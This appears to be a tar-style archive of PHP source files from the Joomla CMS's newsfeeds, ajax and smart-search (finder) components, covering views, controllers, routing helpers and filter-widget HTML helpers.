		<?php if ($this->rssDoc->image && $this->params->get('show_feed_image')) : ?>
			<div>
				<img src="<?php echo $this->rssDoc->image->uri; ?>" alt="<?php echo $this->rssDoc->image->title; ?>" />
			</div>
		<?php endif; ?>
		<!-- Show items -->
		<?php if (!empty($this->rssDoc[0])) : ?>
			<ol>
				<?php for ($i = 0; $i < $this->item->numarticles; $i++) : ?>
					<?php if (empty($this->rssDoc[$i])) : ?>
						<?php break; ?>
					<?php endif; ?>
					<?php $uri  = $this->rssDoc[$i]->uri || !$this->rssDoc[$i]->isPermaLink ? trim($this->rssDoc[$i]->uri) : trim($this->rssDoc[$i]->guid); ?>
					<?php $uri  = !$uri || stripos($uri, 'http') !== 0 ? $this->item->link : $uri; ?>
					<?php $text = $this->rssDoc[$i]->content !== '' ? trim($this->rssDoc[$i]->content) : ''; ?>
					<li>
						<?php if (!empty($uri)) : ?>
							<h3 class="feed-link">
								<a href="<?php echo htmlspecialchars($uri); ?>" target="_blank">
									<?php echo trim($this->rssDoc[$i]->title); ?>
								</a>
							</h3>
						<?php else : ?>
							<h3 class="feed-link"><?php echo trim($this->rssDoc[$i]->title); ?></h3>
						<?php endif; ?>
						<?php if ($this->params->get('show_item_description') && $text !== '') : ?>
							<div class="feed-item-description">
								<?php if ($this->params->get('show_feed_image', 0) == 0) : ?>
									<?php $text = JFilterOutput::stripImages($text); ?>
								<?php endif; ?>
								<?php $text = JHtml::_('string.truncate', $text, $this->params->get('feed_character_count')); ?>
								<?php echo str_replace('&apos;', "'", $text); ?>
							</div>
						<?php endif; ?>
					</li>
				<?php endfor; ?>
			</ol>
		<?php endif; ?>
	</div>
<?php endif; ?>
com_newsfeeds/views/newsfeed/view.html.php000060400000007637152453734460014776 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a newsfeed.
 *
 * @since  1.6
 */
class NewsfeedsViewNewsfeed extends JViewLegacy
{
	/**
	 * The item object for the newsfeed
	 *
	 * @var    JObject
	 * @since  1.6
	 */
	protected $item;

	/**
	 * The form object for the newsfeed
	 *
	 * @var    JForm
	 * @since  1.6
	 */
	protected $form;

	/**
	 * The model state of the newsfeed
	 *
	 * @var    JObject
	 * @since  1.6
	 */
	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$this->state = $this->get('State');
		$this->item  = $this->get('Item');
		$this->form  = $this->get('Form');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// If we are forcing a language in modal (used for associations).
		if ($this->getLayout() === 'modal' && $forcedLanguage = JFactory::getApplication()->input->get('forcedLanguage', '', 'cmd'))
		{
			// Set the language field to the forcedLanguage and disable changing it.
			$this->form->setValue('language', null, $forcedLanguage);
			$this->form->setFieldAttribute('language', 'readonly', 'true');

			// Only allow to select categories with All language or with the forced language.
			$this->form->setFieldAttribute('catid', 'language', '*,' . $forcedLanguage);

			// Only allow to select tags with All language or with the forced language.
			$this->form->setFieldAttribute('tags', 'language', '*,' . $forcedLanguage);
		}

		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		$user       = JFactory::getUser();
		$isNew      = ($this->item->id == 0);
		$checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id'));

		// Since we don't track these assets at the item level, use the category id.
		$canDo = JHelperContent::getActions('com_newsfeeds', 'category', $this->item->catid);

		JToolbarHelper::title($isNew ? JText::_('COM_NEWSFEEDS_MANAGER_NEWSFEED_NEW') : JText::_('COM_NEWSFEEDS_MANAGER_NEWSFEED_EDIT'), 'feed newsfeeds');

		// If not checked out, can save the item.
		if (!$checkedOut && ($canDo->get('core.edit') || count($user->getAuthorisedCategories('com_newsfeeds', 'core.create')) > 0))
		{
			JToolbarHelper::apply('newsfeed.apply');
			JToolbarHelper::save('newsfeed.save');
		}

		if (!$checkedOut && count($user->getAuthorisedCategories('com_newsfeeds', 'core.create')) > 0)
		{
			JToolbarHelper::save2new('newsfeed.save2new');
		}

		// If an existing item, can save to a copy.
		if (!$isNew && $canDo->get('core.create'))
		{
			JToolbarHelper::save2copy('newsfeed.save2copy');
		}

		if (!$isNew && JLanguageAssociations::isEnabled() && JComponentHelper::isEnabled('com_associations'))
		{
			JToolbarHelper::custom('newsfeed.editAssociations', 'contract', 'contract', 'JTOOLBAR_ASSOCIATIONS', false, false);
		}

		if (empty($this->item->id))
		{
			JToolbarHelper::cancel('newsfeed.cancel');
		}
		else
		{
			if (JComponentHelper::isEnabled('com_contenthistory') && $this->state->params->get('save_history', 0) && $canDo->get('core.edit'))
			{
				JToolbarHelper::versions('com_newsfeeds.newsfeed', $this->item->id);
			}

			JToolbarHelper::cancel('newsfeed.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT');
	}
}
com_newsfeeds/controller.php000060400000003013152453734460012267 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Newsfeeds master display controller.
 *
 * @since  1.6
 */
class NewsfeedsController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JControllerLegacy  This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = array())
	{
		JLoader::register('NewsfeedsHelper', JPATH_ADMINISTRATOR . '/components/com_newsfeeds/helpers/newsfeeds.php');

		$view   = $this->input->get('view', 'newsfeeds');
		$layout = $this->input->get('layout', 'default');
		$id     = $this->input->getInt('id');

		// Check for edit form.
		if ($view == 'newsfeed' && $layout == 'edit' && !$this->checkEditId('com_newsfeeds.edit.newsfeed', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_newsfeeds&view=newsfeeds', false));

			return false;
		}

		return parent::display();
	}
}
com_newsfeeds/newsfeeds.php000060400000001134152453734460012071 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.tabstate');

if (!JFactory::getUser()->authorise('core.manage', 'com_newsfeeds'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Newsfeeds');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_ajax/ajax.php000060400000000501152453734460007766 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_ajax
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

require_once JPATH_SITE . '/components/com_ajax/ajax.php';
com_finder/controller.php000060400000003220152453734460011553 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Base controller class for Finder.
 *
 * @since  2.5
 */
class FinderController extends JControllerLegacy
{
	/**
	 * The default view.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $default_view = 'index';

	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  FinderController  A JControllerLegacy object to support chaining.
	 *
	 * @since	2.5
	 */
	public function display($cachable = false, $urlparams = array())
	{
		JLoader::register('FinderHelper', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/finder.php');

		$view   = $this->input->get('view', 'index', 'word');
		$layout = $this->input->get('layout', 'index', 'word');
		$filterId = $this->input->get('filter_id', null, 'int');

		// Check for edit form.
		if ($view === 'filter' && $layout === 'edit' && !$this->checkEditId('com_finder.edit.filter', $filterId))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $filterId));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_finder&view=filters', false));

			return false;
		}

		return parent::display();
	}
}
com_finder/helpers/route.php000060400000007026152453734460012200 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Finder route helper class.
 *
 * @since  2.5
 */
class FinderHelperRoute
{
	/**
	 * Method to get the route for a search page.
	 *
	 * @param   integer  $f  The search filter id. [optional]
	 * @param   string   $q  The search query string. [optional]
	 *
	 * @return  string  The search route.
	 *
	 * @since   2.5
	 */
	public static function getSearchRoute($f = null, $q = null)
	{
		// Get the menu item id.
		$query = array('view' => 'search', 'q' => $q, 'f' => $f);
		$item = self::getItemid($query);

		// Get the base route.
		$uri = clone JUri::getInstance('index.php?option=com_finder&view=search');

		// Add the pre-defined search filter if present.
		if ($f !== null)
		{
			$uri->setVar('f', $f);
		}

		// Add the search query string if present.
		if ($q !== null)
		{
			$uri->setVar('q', $q);
		}

		// Add the menu item id if present.
		if ($item !== null)
		{
			$uri->setVar('Itemid', $item);
		}

		return $uri->toString(array('path', 'query'));
	}

	/**
	 * Method to get the route for an advanced search page.
	 *
	 * @param   integer  $f  The search filter id. [optional]
	 * @param   string   $q  The search query string. [optional]
	 *
	 * @return  string  The advanced search route.
	 *
	 * @since   2.5
	 */
	public static function getAdvancedRoute($f = null, $q = null)
	{
		// Get the menu item id.
		$query = array('view' => 'advanced', 'q' => $q, 'f' => $f);
		$item = self::getItemid($query);

		// Get the base route.
		$uri = clone JUri::getInstance('index.php?option=com_finder&view=advanced');

		// Add the pre-defined search filter if present.
		if ($q !== null)
		{
			$uri->setVar('f', $f);
		}

		// Add the search query string if present.
		if ($q !== null)
		{
			$uri->setVar('q', $q);
		}

		// Add the menu item id if present.
		if ($item !== null)
		{
			$uri->setVar('Itemid', $item);
		}

		return $uri->toString(array('path', 'query'));
	}

	/**
	 * Method to get the most appropriate menu item for the route based on the
	 * supplied query needles.
	 *
	 * @param   array  $query  An array of URL parameters.
	 *
	 * @return  mixed  An integer on success, null otherwise.
	 *
	 * @since   2.5
	 */
	public static function getItemid($query)
	{
		static $items, $active;

		// Get the menu items for com_finder.
		if (!$items || !$active)
		{
			$app = JFactory::getApplication('site');
			$com = JComponentHelper::getComponent('com_finder');
			$menu = $app->getMenu();
			$active = $menu->getActive();
			$items = $menu->getItems('component_id', $com->id);
			$items = is_array($items) ? $items : array();
		}

		// Try to match the active view and filter.
		if ($active && @$active->query['view'] == @$query['view'] && @$active->query['f'] == @$query['f'])
		{
			return $active->id;
		}

		// Try to match the view, query, and filter.
		foreach ($items as $item)
		{
			if (@$item->query['view'] == @$query['view'] && @$item->query['q'] == @$query['q'] && @$item->query['f'] == @$query['f'])
			{
				return $item->id;
			}
		}

		// Try to match the view and filter.
		foreach ($items as $item)
		{
			if (@$item->query['view'] == @$query['view'] && @$item->query['f'] == @$query['f'])
			{
				return $item->id;
			}
		}

		// Try to match the view.
		foreach ($items as $item)
		{
			if (@$item->query['view'] == @$query['view'])
			{
				return $item->id;
			}
		}

		return null;
	}
}
com_finder/helpers/html/filter.php000060400000033674152453734460013303 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('FinderHelperLanguage', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/language.php');

/**
 * Filter HTML Behaviors for Finder.
 *
 * @since  2.5
 */
abstract class JHtmlFilter
{
	/**
	 * Method to generate filters using the slider widget and decorated
	 * with the FinderFilter JavaScript behaviors.
	 *
	 * @param   array  $options  An array of configuration options. [optional]
	 *
	 * @return  mixed  A rendered HTML widget on success, null otherwise.
	 *
	 * @since   2.5
	 */
	public static function slider($options = array())
	{
		$db     = JFactory::getDbo();
		$query  = $db->getQuery(true);
		$user   = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());
		$html   = '';
		$filter = null;

		// Get the configuration options.
		$filterId    = array_key_exists('filter_id', $options) ? $options['filter_id'] : null;
		$activeNodes = array_key_exists('selected_nodes', $options) ? $options['selected_nodes'] : array();
		$classSuffix = array_key_exists('class_suffix', $options) ? $options['class_suffix'] : '';

		// Load the predefined filter if specified.
		if (!empty($filterId))
		{
			$query->select('f.data, f.params')
				->from($db->quoteName('#__finder_filters') . ' AS f')
				->where('f.filter_id = ' . (int) $filterId);

			// Load the filter data.
			$db->setQuery($query);

			try
			{
				$filter = $db->loadObject();
			}
			catch (RuntimeException $e)
			{
				return null;
			}

			// Initialize the filter parameters.
			if ($filter)
			{
				$filter->params = new Registry($filter->params);
			}
		}

		// Build the query to get the branch data and the number of child nodes.
		$query->clear()
			->select('t.*, count(c.id) AS children')
			->from($db->quoteName('#__finder_taxonomy') . ' AS t')
			->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS c ON c.parent_id = t.id')
			->where('t.parent_id = 1')
			->where('t.state = 1')
			->where('t.access IN (' . $groups . ')')
			->group('t.id, t.parent_id, t.state, t.access, t.ordering, t.title, c.parent_id')
			->order('t.ordering, t.title');

		// Limit the branch children to a predefined filter.
		if ($filter)
		{
			$query->where('c.id IN(' . $filter->data . ')');
		}

		// Load the branches.
		$db->setQuery($query);

		try
		{
			$branches = $db->loadObjectList('id');
		}
		catch (RuntimeException $e)
		{
			return null;
		}

		// Check that we have at least one branch.
		if (count($branches) === 0)
		{
			return null;
		}

		$branch_keys = array_keys($branches);
		$html .= JHtml::_('bootstrap.startAccordion', 'accordion', array('parent' => true, 'active' => 'accordion-' . $branch_keys[0])
		);

		// Load plugin language files.
		FinderHelperLanguage::loadPluginLanguage();

		// Iterate through the branches and build the branch groups.
		foreach ($branches as $bk => $bv)
		{
			// If the multi-lang plugin is enabled then drop the language branch.
			if ($bv->title === 'Language' && JLanguageMultilang::isEnabled())
			{
				continue;
			}

			// Build the query to get the child nodes for this branch.
			$query->clear()
				->select('t.*')
				->from($db->quoteName('#__finder_taxonomy') . ' AS t')
				->where('t.parent_id = ' . (int) $bk)
				->where('t.state = 1')
				->where('t.access IN (' . $groups . ')')
				->order('t.ordering, t.title');

			// Self-join to get the parent title.
			$query->select('e.title AS parent_title')
				->join('LEFT', $db->quoteName('#__finder_taxonomy', 'e') . ' ON ' . $db->quoteName('e.id') . ' = ' . $db->quoteName('t.parent_id'));

			// Load the branches.
			$db->setQuery($query);

			try
			{
				$nodes = $db->loadObjectList('id');
			}
			catch (RuntimeException $e)
			{
				return null;
			}

			// Translate node titles if possible.
			$lang = JFactory::getLanguage();

			foreach ($nodes as $nk => $nv)
			{
				if (trim($nv->parent_title, '**') === 'Language')
				{
					$title = FinderHelperLanguage::branchLanguageTitle($nv->title);
				}
				else
				{
					$key = FinderHelperLanguage::branchPlural($nv->title);
					$title = $lang->hasKey($key) ? JText::_($key) : $nv->title;
				}

				$nodes[$nk]->title = $title;
			}

			// Adding slides
			$html .= JHtml::_('bootstrap.addSlide',
				'accordion',
				JText::sprintf('COM_FINDER_FILTER_BRANCH_LABEL',
					JText::_(FinderHelperLanguage::branchSingular($bv->title)) . ' - ' . count($nodes)
				),
				'accordion-' . $bk
			);

			// Populate the toggle button.
			$html .= '<button class="btn jform-rightbtn" type="button" onclick="jQuery(\'[id=&quot;tax-'
				. $bk . '&quot;]\').each(function(){this.click();});"><span class="icon-checkbox-partial"></span> '
				. JText::_('JGLOBAL_SELECTION_INVERT') . '</button><hr/>';

			// Populate the group with nodes.
			foreach ($nodes as $nk => $nv)
			{
				// Determine if the node should be checked.
				$checked = in_array($nk, $activeNodes) ? ' checked="checked"' : '';

				// Build a node.
				$html .= '<div class="control-group">';
				$html .= '<div class="controls">';
				$html .= '<label class="checkbox">';
				$html .= '<input type="checkbox" class="selector filter-node' . $classSuffix . '" value="' . $nk . '" name="t[]" id="tax-'
					. $bk . '"' . $checked . ' />';
				$html .= $nv->title;
				$html .= '</label>';
				$html .= '</div>';
				$html .= '</div>';
			}

			$html .= JHtml::_('bootstrap.endSlide');
		}

		$html .= JHtml::_('bootstrap.endAccordion');

		return $html;
	}

	/**
	 * Method to generate filters using select box dropdown controls.
	 *
	 * @param   FinderIndexerQuery  $idxQuery  A FinderIndexerQuery object.
	 * @param   array               $options   An array of options.
	 *
	 * @return  mixed  A rendered HTML widget on success, null otherwise.
	 *
	 * @since   2.5
	 */
	public static function select($idxQuery, $options)
	{
		$user   = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());
		$filter = null;

		// Get the configuration options.
		$classSuffix = $options->get('class_suffix', null);
		$showDates   = $options->get('show_date_filters', false);

		// Try to load the results from cache.
		$cache   = JFactory::getCache('com_finder', '');
		$cacheId = 'filter_select_' . serialize(array($idxQuery->filter, $options, $groups, JFactory::getLanguage()->getTag()));

		// Check the cached results.
		if ($cache->contains($cacheId))
		{
			$branches = $cache->get($cacheId);
		}
		else
		{
			$db    = JFactory::getDbo();
			$query = $db->getQuery(true);

			// Load the predefined filter if specified.
			if (!empty($idxQuery->filter))
			{
				$query->select('f.data, ' . $db->quoteName('f.params'))
					->from($db->quoteName('#__finder_filters') . ' AS f')
					->where('f.filter_id = ' . (int) $idxQuery->filter);

				// Load the filter data.
				$db->setQuery($query);

				try
				{
					$filter = $db->loadObject();
				}
				catch (RuntimeException $e)
				{
					return null;
				}

				// Initialize the filter parameters.
				if ($filter)
				{
					$filter->params = new Registry($filter->params);
				}
			}

			// Build the query to get the branch data and the number of child nodes.
			$query->clear()
				->select('t.*, count(c.id) AS children')
				->from($db->quoteName('#__finder_taxonomy') . ' AS t')
				->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS c ON c.parent_id = t.id')
				->where('t.parent_id = 1')
				->where('t.state = 1')
				->where('t.access IN (' . $groups . ')')
				->where('c.state = 1')
				->where('c.access IN (' . $groups . ')')
				->group($db->quoteName('t.id'))
				->order('t.ordering, t.title');

			// Limit the branch children to a predefined filter.
			if (!empty($filter->data))
			{
				$query->where('c.id IN(' . $filter->data . ')');
			}

			// Load the branches.
			$db->setQuery($query);

			try
			{
				$branches = $db->loadObjectList('id');
			}
			catch (RuntimeException $e)
			{
				return null;
			}

			// Check that we have at least one branch.
			if (count($branches) === 0)
			{
				return null;
			}

			// Iterate through the branches and build the branch groups.
			foreach ($branches as $bk => $bv)
			{
				// If the multi-lang plugin is enabled then drop the language branch.
				if ($bv->title === 'Language' && JLanguageMultilang::isEnabled())
				{
					continue;
				}

				// Build the query to get the child nodes for this branch.
				$query->clear()
					->select('t.*')
					->from($db->quoteName('#__finder_taxonomy') . ' AS t')
					->where('t.parent_id = ' . (int) $bk)
					->where('t.state = 1')
					->where('t.access IN (' . $groups . ')')
					->order('t.ordering, t.title');

				// Self-join to get the parent title.
				$query->select('e.title AS parent_title')
					->join('LEFT', $db->quoteName('#__finder_taxonomy', 'e') . ' ON ' . $db->quoteName('e.id') . ' = ' . $db->quoteName('t.parent_id'));

				// Limit the nodes to a predefined filter.
				if (!empty($filter->data))
				{
					$query->where('t.id IN(' . $filter->data . ')');
				}

				// Load the branches.
				$db->setQuery($query);

				try
				{
					$branches[$bk]->nodes = $db->loadObjectList('id');
				}
				catch (RuntimeException $e)
				{
					return null;
				}

				// Translate branch nodes if possible.
				$language = JFactory::getLanguage();

				foreach ($branches[$bk]->nodes as $node_id => $node)
				{
					if (trim($node->parent_title, '**') === 'Language')
					{
						$title = FinderHelperLanguage::branchLanguageTitle($node->title);
					}
					else
					{
						$key = FinderHelperLanguage::branchPlural($node->title);
						$title = $language->hasKey($key) ? JText::_($key) : $node->title;
					}

					$branches[$bk]->nodes[$node_id]->title = $title;
				}

				// Add the Search All option to the branch.
				array_unshift($branches[$bk]->nodes, array('id' => null, 'title' => JText::_('COM_FINDER_FILTER_SELECT_ALL_LABEL')));
			}

			// Store the data in cache.
			$cache->store($branches, $cacheId);
		}

		$html = '';

		// Add the dates if enabled.
		if ($showDates)
		{
			$html .= JHtml::_('filter.dates', $idxQuery, $options);
		}

		$html .= '<div class="filter-branch' . $classSuffix . ' control-group clearfix">';

		// Iterate through all branches and build code.
		foreach ($branches as $bk => $bv)
		{
			// If the multi-lang plugin is enabled then drop the language branch.
			if ($bv->title === 'Language' && JLanguageMultilang::isEnabled())
			{
				continue;
			}

			$active = null;

			// Check if the branch is in the filter.
			if (array_key_exists($bv->title, $idxQuery->filters))
			{
				// Get the request filters.
				$temp   = JFactory::getApplication()->input->request->get('t', array(), 'array');

				// Search for active nodes in the branch and get the active node.
				$active = array_intersect($temp, $idxQuery->filters[$bv->title]);
				$active = count($active) === 1 ? array_shift($active) : null;
			}

			// Build a node.
			$html .= '<div class="controls finder-selects">';
			$html .= '<label for="tax-' . JFilterOutput::stringURLSafe($bv->title) . '" class="control-label">';
			$html .= JText::sprintf('COM_FINDER_FILTER_BRANCH_LABEL', JText::_(FinderHelperLanguage::branchSingular($bv->title)));
			$html .= '</label>';
			$html .= '<br />';
			$html .= JHtml::_(
				'select.genericlist',
				$branches[$bk]->nodes, 't[]', 'class="inputbox advancedSelect"', 'id', 'title', $active,
				'tax-' . JFilterOutput::stringURLSafe($bv->title)
			);
			$html .= '</div>';
		}

		$html .= '</div>';

		return $html;
	}

	/**
	 * Method to generate fields for filtering dates
	 *
	 * @param   FinderIndexerQuery  $idxQuery  A FinderIndexerQuery object.
	 * @param   array               $options   An array of options.
	 *
	 * @return  mixed  A rendered HTML widget on success, null otherwise.
	 *
	 * @since   2.5
	 */
	public static function dates($idxQuery, $options)
	{
		$html = '';

		// Get the configuration options.
		$classSuffix = $options->get('class_suffix', null);
		$loadMedia   = $options->get('load_media', true);
		$showDates   = $options->get('show_date_filters', false);

		if (!empty($showDates))
		{
			// Build the date operators options.
			$operators   = array();
			$operators[] = JHtml::_('select.option', 'before', JText::_('COM_FINDER_FILTER_DATE_BEFORE'));
			$operators[] = JHtml::_('select.option', 'exact', JText::_('COM_FINDER_FILTER_DATE_EXACTLY'));
			$operators[] = JHtml::_('select.option', 'after', JText::_('COM_FINDER_FILTER_DATE_AFTER'));

			// Load the CSS/JS resources.
			if ($loadMedia)
			{
				JHtml::_('stylesheet', 'com_finder/dates.css', array('version' => 'auto', 'relative' => true));
			}

			// Open the widget.
			$html .= '<ul id="finder-filter-select-dates">';

			// Start date filter.
			$attribs['class'] = 'input-medium';
			$html .= '<li class="filter-date' . $classSuffix . '">';
			$html .= '<label for="filter_date1" class="hasTooltip" title ="' . JText::_('COM_FINDER_FILTER_DATE1_DESC') . '">';
			$html .= JText::_('COM_FINDER_FILTER_DATE1');
			$html .= '</label>';
			$html .= '<br />';
			$html .= JHtml::_(
				'select.genericlist',
				$operators, 'w1', 'class="inputbox filter-date-operator advancedSelect"', 'value', 'text', $idxQuery->when1, 'finder-filter-w1'
			);
			$html .= JHtml::_('calendar', $idxQuery->date1, 'd1', 'filter_date1', '%Y-%m-%d', $attribs);
			$html .= '</li>';

			// End date filter.
			$html .= '<li class="filter-date' . $classSuffix . '">';
			$html .= '<label for="filter_date2" class="hasTooltip" title ="' . JText::_('COM_FINDER_FILTER_DATE2_DESC') . '">';
			$html .= JText::_('COM_FINDER_FILTER_DATE2');
			$html .= '</label>';
			$html .= '<br />';
			$html .= JHtml::_(
				'select.genericlist',
				$operators, 'w2', 'class="inputbox filter-date-operator advancedSelect"', 'value', 'text', $idxQuery->when2, 'finder-filter-w2'
			);
			$html .= JHtml::_('calendar', $idxQuery->date2, 'd2', 'filter_date2', '%Y-%m-%d', $attribs);
			$html .= '</li>';

			// Close the widget.
			$html .= '</ul>';
		}

		return $html;
	}
}
com_finder/helpers/html/query.php000060400000010755152453734460013156 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Query HTML behavior class for Finder.
 *
 * @since  2.5
 */
abstract class JHtmlQuery
{
	/**
	 * Method to get the explained (human-readable) search query.
	 *
	 * @param   FinderIndexerQuery  $query  A FinderIndexerQuery object to explain.
	 *
	 * @return  mixed  String if there is data to explain, null otherwise.
	 *
	 * @since   2.5
	 */
	public static function explained(FinderIndexerQuery $query)
	{
		$parts = array();

		// Process the required tokens.
		foreach ($query->included as $token)
		{
			if ($token->required && (!isset($token->derived) || $token->derived == false))
			{
				$parts[] = '<span class="query-required">' . JText::sprintf('COM_FINDER_QUERY_TOKEN_REQUIRED', $token->term) . '</span>';
			}
		}

		// Process the optional tokens.
		foreach ($query->included as $token)
		{
			if (!$token->required && (!isset($token->derived) || $token->derived == false))
			{
				$parts[] = '<span class="query-optional">' . JText::sprintf('COM_FINDER_QUERY_TOKEN_OPTIONAL', $token->term) . '</span>';
			}
		}

		// Process the excluded tokens.
		foreach ($query->excluded as $token)
		{
			if (!isset($token->derived) || $token->derived === false)
			{
				$parts[] = '<span class="query-excluded">' . JText::sprintf('COM_FINDER_QUERY_TOKEN_EXCLUDED', $token->term) . '</span>';
			}
		}

		// Process the start date.
		if ($query->date1)
		{
			$date = JFactory::getDate($query->date1)->format(JText::_('DATE_FORMAT_LC'));
			$datecondition = JText::_('COM_FINDER_QUERY_DATE_CONDITION_' . strtoupper($query->when1));
			$parts[] = '<span class="query-start-date">' . JText::sprintf('COM_FINDER_QUERY_START_DATE', $datecondition, $date) . '</span>';
		}

		// Process the end date.
		if ($query->date2)
		{
			$date = JFactory::getDate($query->date2)->format(JText::_('DATE_FORMAT_LC'));
			$datecondition = JText::_('COM_FINDER_QUERY_DATE_CONDITION_' . strtoupper($query->when2));
			$parts[] = '<span class="query-end-date">' . JText::sprintf('COM_FINDER_QUERY_END_DATE', $datecondition, $date) . '</span>';
		}

		// Process the taxonomy filters.
		if (!empty($query->filters))
		{
			// Get the filters in the request.
			$t = JFactory::getApplication()->input->request->get('t', array(), 'array');

			// Process the taxonomy branches.
			foreach ($query->filters as $branch => $nodes)
			{
				// Process the taxonomy nodes.
				$lang = JFactory::getLanguage();

				foreach ($nodes as $title => $id)
				{
					// Translate the title for Types
					$key = FinderHelperLanguage::branchPlural($title);

					if ($lang->hasKey($key))
					{
						$title = JText::_($key);
					}

					// Don't include the node if it is not in the request.
					if (!in_array($id, $t))
					{
						continue;
					}

					// Add the node to the explanation.
					$parts[] = '<span class="query-taxonomy">'
						. JText::sprintf('COM_FINDER_QUERY_TAXONOMY_NODE', $title, JText::_(FinderHelperLanguage::branchSingular($branch)))
						. '</span>';
				}
			}
		}

		// Build the interpreted query.
		return count($parts) ? JText::sprintf('COM_FINDER_QUERY_TOKEN_INTERPRETED', implode(JText::_('COM_FINDER_QUERY_TOKEN_GLUE'), $parts)) : null;
	}

	/**
	 * Method to get the suggested search query.
	 *
	 * @param   FinderIndexerQuery  $query  A FinderIndexerQuery object.
	 *
	 * @return  mixed  String if there is a suggestion, false otherwise.
	 *
	 * @since   2.5
	 */
	public static function suggested(FinderIndexerQuery $query)
	{
		$suggested = false;

		// Check if the query input is empty.
		if (empty($query->input))
		{
			return $suggested;
		}

		// Check if there were any ignored or included keywords.
		if (count($query->ignored) || count($query->included))
		{
			$suggested = $query->input;

			// Replace the ignored keyword suggestions.
			foreach (array_reverse($query->ignored) as $token)
			{
				if (isset($token->suggestion))
				{
					$suggested = str_ireplace($token->term, $token->suggestion, $suggested);
				}
			}

			// Replace the included keyword suggestions.
			foreach (array_reverse($query->included) as $token)
			{
				if (isset($token->suggestion))
				{
					$suggested = str_ireplace($token->term, $token->suggestion, $suggested);
				}
			}

			// Check if we made any changes.
			if ($suggested == $query->input)
			{
				$suggested = false;
			}
		}

		return $suggested;
	}
}
com_finder/models/suggestions.php000060400000011700152453734460013227 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

define('FINDER_PATH_INDEXER', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer');
JLoader::register('FinderIndexerHelper', FINDER_PATH_INDEXER . '/helper.php');

/**
 * Suggestions model class for the Finder package.
 *
 * @since  2.5
 */
